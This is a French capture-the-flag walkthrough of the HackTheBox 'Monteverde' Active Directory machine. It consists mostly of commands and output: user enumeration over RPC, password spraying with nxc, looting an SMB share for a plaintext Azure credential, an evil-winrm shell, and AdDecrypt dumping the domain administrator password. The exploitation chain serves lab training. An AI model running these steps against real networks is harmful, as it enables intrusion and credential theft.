Monteverde

nxc azure rpc

Nom machine : Monteverde
Difficulté : Moyenne
OS : Windows - AD

Enumération

NMAP

Nmap scan report for 10.10.10.172
Host is up (0.031s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-10 18:30:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

RPC

┌──(kali㉿kali)-[~/htb]
└─$ rpcclient 10.10.10.172 -N -U ''
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

Nous avons une liste d'user

Accès initial

J'ai essayé à l'aide de nxc de bruteforce les mots de passe en reprenant la liste d'username...

┌──(kali㉿kali)-[~/htb/mond]
└─$ nxc smb 10.10.10.172 -u users.txt -p users.txt --continue-on-success
{...}
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE 
{...}

┌──(kali㉿kali)-[~/htb/mond]
└─$ nxc smb 10.10.10.172 -u SABatchJobs -p SABatchJobs --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs 
SMB         10.10.10.172    445    MONTEVERDE       [*] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ            
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share 
SMB         10.10.10.172    445    MONTEVERDE       users$          READ

Nous allons voir le contenu de users$

┌──(kali㉿kali)-[~/htb/mond]
└─$ smbclient //10.10.10.172/users$ -U SABatchJobs
Password for [WORKGROUP\SABatchJobs]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Jan  3 08:12:48 2020
  ..                                  D        0  Fri Jan  3 08:12:48 2020
  dgalanos                            D        0  Fri Jan  3 08:12:30 2020
  mhope                               D        0  Fri Jan  3 08:41:18 2020
  roleary                             D        0  Fri Jan  3 08:10:30 2020
  smorgan                             D        0  Fri Jan  3 08:10:24 2020

smb: \> cd mhope
smb: \mhope\> dir
  .                                   D        0  Fri Jan  3 08:41:18 2020
  ..                                  D        0  Fri Jan  3 08:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 08:40:23 2020

		31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> mget azure.xml
Get file azure.xml? yes
getting file \mhope\azure.xml of size 1212 as azure.xml (8.5 KiloBytes/sec) (average 8.5 KiloBytes/sec)

et surprise ...

┌──(kali㉿kali)-[~/htb/mond]
└─$ cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

┌──(kali㉿kali)-[~/htb/mond]
└─$ evil-winrm -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> whoami
megabank\mhope

Elévation des privilèges

Nous faisons partis du groupe Azure admin

https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zipgithub.com

┌──(kali㉿kali)-[~/htb/monde]
└─$ wget https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip
--2024-11-10 14:25:51--  https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/257912912/7117a000-84a7-11ea-8b7b-d19439d5eb39?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241110%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241110T192551Z&X-Amz-Expires=300&X-Amz-Signature=539a62acf2153c8bc4b5187ff9366e9f8f8f007f2b1643fea4bea50c9e65cfe7&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DAdDecrypt.zip&response-content-type=application%2Foctet-stream [following]
--2024-11-10 14:25:51--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/257912912/7117a000-84a7-11ea-8b7b-d19439d5eb39?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20241110%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241110T192551Z&X-Amz-Expires=300&X-Amz-Signature=539a62acf2153c8bc4b5187ff9366e9f8f8f007f2b1643fea4bea50c9e65cfe7&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DAdDecrypt.zip&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 152818 (149K) [application/octet-stream]
Saving to: ‘AdDecrypt.zip’

AdDecrypt.zip                        100%[===================================================================>] 149.24K  --.-KB/s    in 0.06s   

2024-11-10 14:25:51 (2.54 MB/s) - ‘AdDecrypt.zip’ saved [152818/152818]

*Evil-WinRM* PS C:\Users\mhope\Documents> upload AdDecrypt.exe
                                        
Info: Uploading /home/kali/htb/monde/AdDecrypt.exe to C:\Users\mhope\Documents\AdDecrypt.exe
                                        
Data: 19796 bytes of 19796 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\mhope\Documents> upload mcrypt.dll
                                        
Info: Uploading /home/kali/htb/monde/mcrypt.dll to C:\Users\mhope\Documents\mcrypt.dll
                                        
Data: 445664 bytes of 445664 bytes copied
                                        
Info: Upload successful!

*Evil-WinRM* PS C:\Users\mhope\Documents> cd 'C:\Program Files\Microsoft Azure AD Sync\Bin'


*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\Users\mhope\Documents\AdDecrypt.ex
e -FullSQL

======================
AZURE AD SYNC CREDENTIAL DECRYPTION TOOL
Based on original code from: https://github.com/fox-it/adconnectdump
======================

Opening database connection...
Executing SQL commands...
Closing database connection...
Decrypting XML...
Parsing XML...
Finished!

DECRYPTED CREDENTIALS:
Username: administrator
Password: d0m@in4dminyeah!
Domain: MEGABANK.LOCAL

PrécédentForest SuivantReturn

Mis à jour il y a 1 an

hashtagEnumération

hashtagNMAP

hashtagRPC

hashtagAccès initial

hashtagElévation des privilèges

Enumération

NMAP

RPC

Accès initial

Elévation des privilèges